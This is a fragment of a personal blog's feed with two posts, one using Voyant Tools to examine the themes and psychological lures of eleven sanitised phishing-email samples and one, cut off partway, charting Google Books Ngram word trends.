    &lt;button class=&quot;myButton&quot; onclick=&quot;window.open(&apos;https://caniphish.com/free-phishing-test/phishing-email-templates&apos;, &apos;_blank&apos;)&quot;&gt;Try CaniPhish&lt;/button&gt;
&lt;/div&gt;
&lt;script&gt;
  function redirectTo(url) {
    window.location.href = url;
}
&lt;/script&gt;
&lt;/body&gt;

&lt;hr /&gt;
&lt;h2 align=&quot;center&quot;&gt; Utilizing Voyant Tools for analyzing Phishing &lt;/h2&gt;
&lt;hr /&gt;

&lt;h2 id=&quot;methodology-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt;Methodology :&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;However this is not a rigorous research work, but still I will highlight the overall methodology utilized in this article.&lt;/p&gt;

&lt;p&gt;I have found a dataset of common phishing emails (samples) being used in real world malware campaigns and submitted by users / administrators etc respectively. These &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.eml&lt;/code&gt; files have all the details of the phishing email being received on their endpoints, they contain all the security headers and email contents.&lt;/p&gt;

&lt;p&gt;Voyant Tools is smart and it can decode Base64 encoded email contents on its own, also it doesn’t evaluate the security headers and alike in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.eml&lt;/code&gt; files, it automatically focuses on analyzing the main content of the email itself. This saves our time for cleaning a complex data like “original message” of emails, for the reason being here, we are just interested in the Text Analysis of malicious emails. For the safety purposes, these sample email’s real malicious links / sensitive information have been replaced by benign &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;phishing@pot&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Remember to anonymize the files hiding information that could identify the address of your Honey Pot. All sensitive information should be replaced with phishing@pot. Sometimes the email address is contained within the content, either in the body of the message or in malicious URL arguments. Be sure to check these fields. If the content is encoded in base64, decode it, change the necessary values, re-encode it in base64 (respecting the indentation).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Above is a transcript from Phishing Pot’s GitHub repo.&lt;/p&gt;

&lt;p&gt;Data set used - &lt;a href=&quot;https://github.com/rf-peixoto/phishing_pot&quot;&gt;Phishing Pot&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;psychology-behind-phishing-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt;Psychology behind Phishing :&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Phishing emails exploit various psychological principles to manipulate victims into divulging sensitive information or performing actions that compromise their security. Some of the key psychological targets employed by cybercriminals include:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Sense of urgency&lt;/code&gt;: Phishing emails often create a sense of urgency, pressuring recipients to take immediate action to resolve a problem or claim a reward. This tactic exploits individuals’ natural tendency to prioritize immediate threats or opportunities over more rational decision-making.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Authority&lt;/code&gt;: Cybercriminals may impersonate legitimate organizations, government agencies, or well-known individuals to establish a sense of authority. This tactic leverages people’s inclination to comply with requests from perceived authority figures, even if the requests are unusual or suspicious.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Curiosity&lt;/code&gt;: Scammers may use clickbait headlines or provocative content to pique recipients’ curiosity, enticing them to click on malicious links or download harmful attachments.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Fear&lt;/code&gt;: Phishing emails often evoke fear by warning recipients about potential security breaches, legal issues, or financial losses. By exploiting people’s instinctive desire to avoid negative consequences, cybercriminals can manipulate them into providing sensitive information or clicking on harmful links.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Greed&lt;/code&gt;: Scammers may promise financial gains, exclusive deals, or valuable rewards to lure victims into sharing personal information or making unwise decisions. This tactic capitalizes on people’s innate desire for wealth and success.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Social proof&lt;/code&gt;: Phishing emails may include fabricated testimonials, endorsements, or social media shares to establish credibility and make the scam appear more legitimate. This tactic exploits people’s tendency to rely on others’ opinions and experiences when making decisions.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Reciprocity&lt;/code&gt;: Some phishing attacks use the principle of reciprocity, offering a small favor or gift to create a sense of obligation in the recipient. This tactic can make people more likely to comply with the scammer’s requests, as they feel indebted to return the favor.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Familiarity&lt;/code&gt;: Phishing emails may appear to come from a known contact or mimic the visual style and language of legitimate organizations. This tactic exploits people’s trust in familiar sources and lowers their defenses against potential threats.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By understanding and recognizing these psychological targets, individuals can become more vigilant and better equipped to identify and avoid falling victim to phishing scams.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Using Voyant Tools we will attempt to identify and understand some of the most common themes in the realm of Phishing. I have chosen 11 random malicious &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.eml&lt;/code&gt; files for analysis.&lt;/p&gt;

&lt;iframe style=&quot;width: 850px; height: 700px;&quot; src=&quot;https://voyant-tools.org/?panels=cirrus%2Creader%2Ctrends%2Csummary%2Ccontexts&amp;amp;corpus=3f4f9aa5659006c94a5284a392451f27&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;&lt;em&gt;Last day to claim your exclusive offer / reward&lt;/em&gt; type phishing scams.&lt;/p&gt;

&lt;hr /&gt;

&lt;iframe style=&quot;width: 850px; height: 700px;&quot; src=&quot;https://voyant-tools.org/?panels=cirrus%2Creader%2Ctrends%2Csummary%2Ccontexts&amp;amp;corpus=1f509ca782c9289e0683b5a0ba124706&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;Phishing emails like these create a sense of curiosity and intrigues the victim to try their schemes, attempting to log into their said wallets, clicking their malicious links or opening the malicious attachments etc…&lt;/p&gt;

&lt;hr /&gt;

&lt;iframe style=&quot;width: 850px; height: 700px;&quot; src=&quot;https://voyant-tools.org/?panels=cirrus%2Creader%2Ctrends%2Csummary%2Ccontexts&amp;amp;corpus=d7f5a7f98754695c8958e3c65c1dd03f&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;Bitcoin and Cryptocurrency themed phishing scams, would often offer some Bitcoins, not much just 75… enticing isn’t it?!&lt;/p&gt;

&lt;hr /&gt;

&lt;iframe style=&quot;width: 850px; height: 700px;&quot; src=&quot;https://voyant-tools.org/?panels=cirrus%2Creader%2Ctrends%2Csummary%2Ccontexts&amp;amp;corpus=b02f13b229a481e429951c461a7bcfe2&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;McAfee subscription maybe &lt;strong&gt;Terminated&lt;/strong&gt;, extend it… creates a sense of urgency and authority, as we will see in some other phishing emails here.&lt;/p&gt;

&lt;hr /&gt;

&lt;iframe style=&quot;width: 850px; height: 700px;&quot; src=&quot;https://voyant-tools.org/?panels=cirrus%2Creader%2Ctrends%2Csummary%2Ccontexts&amp;amp;corpus=a84d033d856244745869276251e7c4e8&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;No attachment was found associated with this malicious email, but usually they have either malicious link or attachment. Theme is simple - an innocent looking initiation from Bank, a legit banking fraud.&lt;/p&gt;

&lt;hr /&gt;

&lt;iframe style=&quot;width: 850px; height: 700px;&quot; src=&quot;https://voyant-tools.org/?panels=cirrus%2Creader%2Ctrends%2Csummary%2Ccontexts&amp;amp;corpus=61f2d3cfe4b2fee743f69ca5bc4a2f5d&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;Moving ahead with modern themes, we have NFTs (OpenSea) scam.&lt;/p&gt;

&lt;hr /&gt;

&lt;iframe style=&quot;width: 850px; height: 700px;&quot; src=&quot;https://voyant-tools.org/?panels=cirrus%2Creader%2Ctrends%2Csummary%2Ccontexts&amp;amp;corpus=74cd814aca40184975edf6b8396bf447&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;This one has a malicious link attached in its email body, which is already flagged as malicious by other security vendors. Theme is based on “money withdrawal” or some amount of money residing in your said wallet / account they have decided upon.&lt;/p&gt;

&lt;hr /&gt;

&lt;iframe style=&quot;width: 850px; height: 700px;&quot; src=&quot;https://voyant-tools.org/?panels=cirrus%2Creader%2Ctrends%2Csummary%2Ccontexts&amp;amp;corpus=9ac7cfb043e96fb3af7679dbc77c360d&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;An enticing social proof themed phishing email, revolving around Food, Diet planning and exclusivity to join their program/subscription.&lt;/p&gt;

&lt;hr /&gt;

&lt;iframe style=&quot;width: 850px; height: 700px;&quot; src=&quot;https://voyant-tools.org/?panels=cirrus%2Creader%2Ctrends%2Csummary%2Ccontexts&amp;amp;corpus=36d602b09d98f7d093f63f6e82ad0c7a&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;Classic security email phishing scam - &lt;strong&gt;FaceBook : someone tried to log into your account.&lt;/strong&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;iframe style=&quot;width: 850px; height: 700px;&quot; src=&quot;https://voyant-tools.org/?panels=cirrus%2Creader%2Ctrends%2Csummary%2Ccontexts&amp;amp;corpus=d9a1873786a5296ac259307b12b66087&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;&lt;strong&gt;Charming Russian girls&lt;/strong&gt;…&lt;/p&gt;

&lt;hr /&gt;

&lt;iframe style=&quot;width: 850px; height: 700px;&quot; src=&quot;https://voyant-tools.org/?panels=cirrus%2Creader%2Ctrends%2Csummary%2Ccontexts&amp;amp;corpus=512fde6088d56a6906905b3119d885ee&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;KYC Wallet verification scam, often these variations of phishing emails leverage the sense of urgency and authority.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;I hope end users gain a deeper insight into the inner body and its contents of typical phishing emails being used in real world malware campaigns. Using Voyant Tools one can tweak and play around with the analysis above. Being aware and cautious would put us in a safer zone, the inbuilt spam filters available in the mailboxes (mostly) are effective but attackers evolve over time and they bypass that often. So identifying what’s in your MailBox and differentiating it from benign ones will keep you safe.&lt;/p&gt;</content><author><name>Siddhartha Shree Kaushik</name></author><category term="text analysis" /><category term="Voyant Tools" /><summary type="html">Recently I came across a tool called Voyant Tools. Voyant Tools is a web-based text analysis platform designed to assist researchers in exploring, analyzing, and visualizing digital texts. Developed by Stéfan Sinclair and Geoffrey Rockwell, this suite of tools allows users to investigate patterns, frequencies, and relationships within textual data, making it an invaluable resource for various disciplines such as digital humanities, linguistics, and data-driven journalism. Although Voyant Tools is not specifically designed for analyzing malicious email files (.eml), it can still provide valuable insights into the structure, content, and patterns present in such files. Researchers can benefit from the following features: Word frequency analysis: Voyant Tools can generate frequency lists and visualizations, helping users identify common terms and phrases that may be associated with phishing or spam emails. Keyword-in-context (KWIC): By examining the context in which specific words or phrases appear, researchers can gain insights into the tactics and themes used by cybercriminals to deceive victims. Collocation analysis: By exploring the relationships between words and phrases, users can identify patterns and connections that might reveal the intentions or strategies employed in malicious emails. Visualization tools: Voyant Tools offers various visualization options, such as word clouds, network graphs, and trend graphs, allowing researchers to visualize patterns and relationships within the email data in an intuitive manner. Corpus comparison: By comparing malicious emails with a corpus of legitimate emails, users can identify distinctive features or characteristics that may help in detecting and preventing phishing scams. It is important to note that while Voyant Tools can provide valuable insights into the textual features of malicious emails, it does not offer specific functionality for analyzing email headers, attachments, or embedded links. As such, researchers should complement their use of Voyant Tools with additional cybersecurity tools and techniques to conduct a comprehensive analysis of potentially harmful emails. Voyant Tools button Try Voyant Tools Now let’s talk about Phishing : Phishing scams are fraudulent activities wherein cybercriminals masquerade as legitimate entities to deceive individuals into revealing sensitive information, such as usernames, passwords, financial details, and personal information. These scams typically rely on communication channels such as email, social media, and text messages to lure victims into clicking malicious links, downloading harmful attachments, or providing confidential data. The most commonly used themes in phishing scams include: Financial institutions: Cybercriminals often pose as banks, credit card companies, or investment firms, urging individuals to update their account information or confirm a suspicious transaction. Tech support: Scammers may pretend to be representatives of well-known technology companies, claiming that there is a problem with the victim’s device or account that requires immediate action. Tax and government agencies: Phishing attacks may also involve fraudsters impersonating government agencies like the IRS, instructing recipients to resolve urgent tax issues or verify their identity for government benefits. Social media: Scammers may impersonate friends or followers on social media, asking for financial help, sharing sensational news stories, or promoting enticing giveaways that require personal information. Shipping and delivery notifications: Fake notifications of package deliveries or shipment delays are used to trick individuals into clicking malicious links or providing sensitive data. Phishing scams are a serious threat, below are some of the latest statistics emphasizing their danger: Phishing is the most common form of cyber crime, with an estimated 3.4 billion spam emails sent every day. According to FBI’s Internet Crime Complaint Center Releases 2022 Statistics ( FBI Internet Crime Report 2021 ): Phishing ranks one in the Internet crimes, with reported 323,972 victims for Phishing/Vishing/Smishing/Pharming. Constituting $2,395,953,296 loss for Business Email Compromise. The Anti-Phishing Working Group (APWG) reported that in the third quarter of 2021, there were more than 222,000 unique phishing sites detected, marking a 7.3% increase from the previous quarter. A 2021 study by Proofpoint found that 75% of organizations worldwide had experienced a phishing attack, with 74% of successful attacks leading to data breaches. Learn more about latest phishing trends in 2023 here. As phishing scams continue to evolve and target a wide range of industries and individuals, it is crucial to raise awareness and implement robust security measures to protect against these threats. Today we will use Voyant Tools to analyze some of the common and pressing themes in the realm of phishing emails. One can gain deeper insights into Phishing emails without becoming a victim themselves via using tools and services like CaniPhish - It’s primarily utilized for user-training in the enterprise networks, standalone end-users can benefit from it as well. Voyant Tools button Try CaniPhish Utilizing Voyant Tools for analyzing Phishing Methodology : However this is not a rigorous research work, but still I will highlight the overall methodology utilized in this article. I have found a dataset of common phishing emails (samples) being used in real world malware campaigns and submitted by users / administrators etc respectively. These .eml files have all the details of the phishing email being received on their endpoints, they contain all the security headers and email contents. Voyant Tools is smart and it can decode Base64 encoded email contents on its own, also it doesn’t evaluate the security headers and alike in the .eml files, it automatically focuses on analyzing the main content of the email itself. This saves our time for cleaning a complex data like “original message” of emails, for the reason being here, we are just interested in the Text Analysis of malicious emails. For the safety purposes, these sample email’s real malicious links / sensitive information have been replaced by benign phishing@pot Remember to anonymize the files hiding information that could identify the address of your Honey Pot. All sensitive information should be replaced with phishing@pot. Sometimes the email address is contained within the content, either in the body of the message or in malicious URL arguments. Be sure to check these fields. If the content is encoded in base64, decode it, change the necessary values, re-encode it in base64 (respecting the indentation). Above is a transcript from Phishing Pot’s GitHub repo. Data set used - Phishing Pot Psychology behind Phishing : Phishing emails exploit various psychological principles to manipulate victims into divulging sensitive information or performing actions that compromise their security. Some of the key psychological targets employed by cybercriminals include: Sense of urgency: Phishing emails often create a sense of urgency, pressuring recipients to take immediate action to resolve a problem or claim a reward. This tactic exploits individuals’ natural tendency to prioritize immediate threats or opportunities over more rational decision-making. Authority: Cybercriminals may impersonate legitimate organizations, government agencies, or well-known individuals to establish a sense of authority. This tactic leverages people’s inclination to comply with requests from perceived authority figures, even if the requests are unusual or suspicious. Curiosity: Scammers may use clickbait headlines or provocative content to pique recipients’ curiosity, enticing them to click on malicious links or download harmful attachments. Fear: Phishing emails often evoke fear by warning recipients about potential security breaches, legal issues, or financial losses. By exploiting people’s instinctive desire to avoid negative consequences, cybercriminals can manipulate them into providing sensitive information or clicking on harmful links. Greed: Scammers may promise financial gains, exclusive deals, or valuable rewards to lure victims into sharing personal information or making unwise decisions. This tactic capitalizes on people’s innate desire for wealth and success. Social proof: Phishing emails may include fabricated testimonials, endorsements, or social media shares to establish credibility and make the scam appear more legitimate. This tactic exploits people’s tendency to rely on others’ opinions and experiences when making decisions. Reciprocity: Some phishing attacks use the principle of reciprocity, offering a small favor or gift to create a sense of obligation in the recipient. This tactic can make people more likely to comply with the scammer’s requests, as they feel indebted to return the favor. Familiarity: Phishing emails may appear to come from a known contact or mimic the visual style and language of legitimate organizations. This tactic exploits people’s trust in familiar sources and lowers their defenses against potential threats. By understanding and recognizing these psychological targets, individuals can become more vigilant and better equipped to identify and avoid falling victim to phishing scams. Using Voyant Tools we will attempt to identify and understand some of the most common themes in the realm of Phishing. I have chosen 11 random malicious .eml files for analysis. Last day to claim your exclusive offer / reward type phishing scams. Phishing emails like these create a sense of curiosity and intrigues the victim to try their schemes, attempting to log into their said wallets, clicking their malicious links or opening the malicious attachments etc… Bitcoin and Cryptocurrency themed phishing scams, would often offer some Bitcoins, not much just 75… enticing isn’t it?! McAfee subscription maybe Terminated, extend it… creates a sense of urgency and authority, as we will see in some other phishing emails here. No attachment was found associated with this malicious email, but usually they have either malicious link or attachment. Theme is simple - an innocent looking initiation from Bank, a legit banking fraud. Moving ahead with modern themes, we have NFTs (OpenSea) scam. This one has a malicious link attached in its email body, which is already flagged as malicious by other security vendors. Theme is based on “money withdrawal” or some amount of money residing in your said wallet / account they have decided upon. An enticing social proof themed phishing email, revolving around Food, Diet planning and exclusivity to join their program/subscription. Classic security email phishing scam - FaceBook : someone tried to log into your account. Charming Russian girls… KYC Wallet verification scam, often these variations of phishing emails leverage the sense of urgency and authority. I hope end users gain a deeper insight into the inner body and its contents of typical phishing emails being used in real world malware campaigns. Using Voyant Tools one can tweak and play around with the analysis above. Being aware and cautious would put us in a safer zone, the inbuilt spam filters available in the mailboxes (mostly) are effective but attackers evolve over time and they bypass that often. So identifying what’s in your MailBox and differentiating it from benign ones will keep you safe.</summary></entry><entry><title type="html">Playing with Google Books Ngram</title><link href="http://localhost:8001/playing-with-google-ngram" rel="alternate" type="text/html" title="Playing with Google Books Ngram" /><published>2023-04-02T00:00:00+00:00</published><updated>2023-04-02T00:00:00+00:00</updated><id>http://localhost:8001/Playing-with-Google-Ngram</id><content type="html" xml:base="http://localhost:8001/playing-with-google-ngram">&lt;p&gt;Recently I came across a tool called &lt;a href=&quot;https://books.google.com/ngrams/&quot;&gt;Google Ngram&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Google Ngram Viewer is a powerful tool that allows users to search and analyze the frequency of words or phrases in a vast corpus of books and other written materials. With Google Ngram, users can track the popularity of words over time and across different languages and countries. This tool is often used in linguistic and cultural studies to investigate the evolution of language, identify trends in cultural attitudes, and explore the impact of historical events on written expression.&lt;/p&gt;

&lt;p&gt;Often we can use it for analyzing trends and frequency for certain keywords for sentiment analysis, text classification etc… which could potentially be just anything relevant to our studies, like for instance it could be famous figures throughout the history or any course of Important events, certain events themselves, words, phrases, concepts, or a bunch of relatively &amp;amp; commonly used words together.&lt;/p&gt;

&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot; /&gt;
    &lt;title&gt;Google Ngram button&lt;/title&gt;
    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;test.css&quot; /&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;div class=&quot;button-container&quot;&gt;
    &lt;button class=&quot;myButton&quot; onclick=&quot;window.open(&apos;https://books.google.com/ngrams/&apos;, &apos;_blank&apos;)&quot;&gt;Try Google Ngram&lt;/button&gt;
&lt;/div&gt;
&lt;script&gt;
  function redirectTo(url) {
    window.location.href = url;
}
&lt;/script&gt;
&lt;/body&gt;

&lt;hr /&gt;
&lt;h2 align=&quot;center&quot;&gt; Themes and Keywords for Google Ngram &lt;/h2&gt;
&lt;hr /&gt;

&lt;p&gt;There is no specific choice of theme since I am not doing any full fledged research paper, but rather playing with the tool itself, so whatever came to my mind while brainstorming has been almost tried here. Hope you enjoy going through it!&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Jesus Christ, Satan, cuss words, Internet slangs and others -&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=bullshit,horseshit,batshit,shit,holy,spirit,divine,demonic,cow,Jesus+Christ,+Satan&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Some famous Historical figures, rulers -&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=Alexander+the+Great,Adolf+Hitler,Kim+Jong-un,Napoleon+Bonaparte,Genghis+Khan,+Louis+XIV&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Top most visited places in India -&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=Taj+Mahal,+Red+Fort,+Golden+Temple,+Qutub+Minar,+Hawa+Mahal,+Amber+Fort,+Charminar,+Meenakshi+Temple&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;The usage of key terms from the different waves of feminism,&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=women&apos;s+suffrage,equal+pay,reproductive+rights,+voting+rights&amp;amp;year_start=1500&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Some keywords around positivity and negativity -&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=beautiful,ugly,best,worst,elite,awesome,positivity,better,good,success,failure&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Democracy, Corruption and Alternatives -&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=corruption,democracy,alternatives&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;Major revolutions that shaped the world -&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=American+Revolution,French+Revolution,Russian+Revolution,Chinese+Revolution&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;The rise and impact of social movements advocating for equality and justice -&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=civil+rights+movement,+women&apos;s+suffrage+movement,+gay+rights+movement,+Black+Lives+Matter&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;The key terms associated with the Cold War era and the tensions between the United States and the Soviet Union -&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=Cold+War,+Iron+Curtain,+Berlin+Wall,+nuclear+arms+race&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;The historical trends related to colonialism and the efforts to establish independent nations -&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=colonialism,+decolonization,+anti-colonialism,+nationalism&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;The historical context of racial segregation and the struggle for racial equality in various regions -&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=apartheid,+desegregation,+Jim+Crow,+racial+segregation&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;The prevalence of different political ideologies over time -&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=socialism,+communism,+capitalism,+democracy,+liberalism&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;The rise of political discussions and actions around climate change and environmental issues -&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=Paris+Agreement,Green+New+Deal,climate+activism&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;The terms related to controversial political policies and global issues -&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=war+on+drugs,+war+on+terror,+refugee+crisis,+border+control&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;
&lt;p&gt;The rise of different technologies -&lt;/p&gt;

&lt;iframe name=&quot;ngram_chart&quot; src=&quot;https://books.google.com/ngrams/interactive_chart?content=typewriter,+fax+machine,+personal+computer,+smartphone&amp;amp;year_start=1800&amp;amp;year_end=2019&amp;amp;corpus=en-2019&amp;amp;smoothing=3&quot; width=&quot;850&quot; height=&quot;300&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; hspace=&quot;0&quot; vspace=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;

&lt;hr /&gt;

&lt;p&gt;The prominence of groundbreaking scientific theories over time -&lt;/p&gt;

